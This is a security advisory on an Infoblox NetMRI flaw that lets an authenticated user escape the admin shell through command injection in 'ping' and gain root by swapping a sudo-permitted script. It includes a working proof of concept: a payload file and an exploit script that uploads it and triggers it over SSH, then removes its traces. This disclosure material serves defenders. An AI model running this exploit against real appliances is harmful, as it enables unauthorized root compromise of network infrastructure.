KL-001-2017-017 : Infoblox NetMRI Administration Shell Escape and Privilege Escalation

Title: Infoblox NetMRI Administration Shell Escape and Privilege Escalation
Advisory ID: KL-001-2017-017
Publication Date: 2017.10.24
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-017.txt


1. Vulnerability Details

     Affected Vendor: Infoblox
     Affected Product: NetMRI
     Affected Version: 7.1.2 - 7.1.4
     Platform: Embedded Linux
     CWE Classification: CWE-78: Improper Neutralization of Special Elements
                         used in an OS Command ('OS Command Injection'),
                         CWE-272: Least Privilege Violation
     Impact: Root Access
     Attack vector: SSH

2. Vulnerability Description

     An authenticated user can escape the management shell and
     subsequently escalate to root via insecure file ownership and
     sudo permissions.

3. Technical Description

     The attacker begins by logging into the NetMRI CLI using a
     previously acquired or default admin account credential.

        $ ssh admin@1.3.3.7
        NetMRI VM-AD30-5C6CE
        ALL UNAUTHORIZED ACCESS TO THIS SYSTEM WILL BE PROSECUTED TO THE MAXIMUM EXTENT ALLOWED BY APPLICABLE LAWS.
        Last login: Mon Mar 13 15:04:37 2017 from 1.3.3.6

        ************************************************************************
        ALL UNAUTHORIZED ACCESS TO THIS SYSTEM WILL BE PROSECUTED TO THE MAXIMUM
        EXTENT ALLOWED BY APPLICABLE LAWS.
        ************************************************************************

                        NetMRI Administrative Shell
                        ---------------------------

        Available Commands:
          acl         ftp               md5sum           register    setup
          autoupdate  grep              more             remoteCopy  show
          cat         halt              netstat          removedsb   snmpwalk
          clear       help              ping             removemib   ssh-key
          configure   installdsb        provisiondisk    repair      supportbundle
          debug       installhelpfiles  quit             reset       telnet
          deregister  installmib        rdtclient        restore     tftpsync
          diagnostic  license           reboot           rm          top
          exit        ls                recalculate-spm  route       traceroute
          export      maintenance       refreshgroups    set

     A bash command can then be encapsulated using the $()
     technique. In the case below, we simply call the bash binary.

        NetMRI-VM-AD30-5C6CE> ping $(/bin/bash)
        NOTE: Defaulting to MGMT network.  Use -I to bind to a specific network...

     This places us in a new shell. This is the shell of a normal
     user who has been given access to a subset of commands using
     sudo.

     The admin and netmri accounts are permitted to execute various
     system commands from /bin/ and /usr/bin/ with any arguments
     sufficient to trivially escalate to root access such as /bin/cp,
     /bin/chmod, /bin/mv, /usr/sbin/find, etc., as well as some
     vendor-specific programs under /tools/.  These can be used to
     escalate to root by overwriting /etc/shadow, creating a setuid
     shell, etc.

     In addition, numerous commands in users' home directories can be
     executed as root via sudo, such as multiple /home/admin/*
     commands runnable by user admin, and /home/reset/FactoryReset for
     user reset. One such example is runTop. runTop is a script which
     resides in the home directory of the admin user.

     In order to escalate privileges to root using a sudo-able command
     in a user's home directory, an attacker can move the real file,
     then create a malicious replacement and call it using sudo:

        [admin@NetMRI-VM-AD30-5C6CE Backup]$ cd /home/admin
        [admin@NetMRI-VM-AD30-5C6CE ~]$ mv /home/admin/runTop /home/admin/runTop.orig
        [admin@NetMRI-VM-AD30-5C6CE ~]$ echo '#!/bin/bash' > /home/admin/runTop
        [admin@NetMRI-VM-AD30-5C6CE ~]$ echo /bin/bash >> /home/admin/runTop
        [admin@NetMRI-VM-AD30-5C6CE ~]$ chmod a+x /home/admin/runTop
        [admin@NetMRI-VM-AD30-5C6CE ~]$ sudo /home/admin/runTop

     Now we have root.

        [root@NetMRI-VM-AD30-5C6CE ~]# id;uname -a
        uid=0(root) gid=0(root) groups=0(root)
        Linux NetMRI-VM-AD30-5C6CE 3.14.25.osib.7.1.0.20160929 #1 SMP Thu Sep 29 12:50:42 UTC 2016 x86_64 x86_64 x86_64
GNU/Linux
        [root@NetMRI-VM-AD30-5C6CE ~]#

     The users admin, netmri, and reset all have similar NOPASSWD
     sudoers entries for scripts and/or binaries which the privilege
     escalation can be performed against.

4. Mitigation and Remediation Recommendation

     There is no known remediation of this vulnerability from the
     vendor. Administrators should heavily restrict access to any
     account of any privilege which can use the ping command in
     the NetMRI CLI.

     Network access to management interfaces should be properly
     segmented.

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     and Hank Leininger of KoreLogic, Inc.

6. Disclosure Timeline

     2017.07.21 - KoreLogic requests security contact and PGP key
                  from Infoblox.
     2017.07.21 - Infoblox suggests 'security_support@infoblox.com'
                  with PGP key id 0xC4AB2799.
     2017.07.24 - KoreLogic submits vulnerability information to Infoblox.
     2017.07.31 - 5 business days have elapsed since the vulnerability
                  was reported. No response from Infoblox.
     2017.09.15 - KoreLogic requests update from Infoblox.
     2017.09.26 - 45 business days have elapsed since the vulnerability
                  was reported to Infoblox.
     2017.10.17 - KoreLogic requests an update from Infoblox.
     2017.10.18 - 60 business days have elapsed since the vulnerability
                  was reported to Infoblox.
     2017.10.24 - KoreLogic public disclosure.

7. Proof of Concept

        Payload file (.a)

        #!/bin/bash
        mv /home/admin/runTop /home/admin/runTop.orig
        echo '#!/bin/bash' > /home/admin/runTop
        echo /bin/bash >> /home/admin/runTop
        chmod a+x /home/admin/runTop
        sudo /home/admin/runTop
        /bin/rm -rf /home/admin/runTop
        mv /home/admin/runTop.orig /home/admin/runTop
        /bin/rm -rf /var/home/admin/chroot-home/Backup/.a

        Exploit bash script

        #!/bin/bash
        TARGET_HOST=$2
        TARGET_PORT=$3
        TARGET_USER=$1
        scp -P $TARGET_PORT netmri-privesc $TARGET_USER@$TARGET_HOST:.a
        ssh -p $TARGET_PORT $TARGET_USER@$TARGET_HOST 'ping $(/bin/bash .a)'



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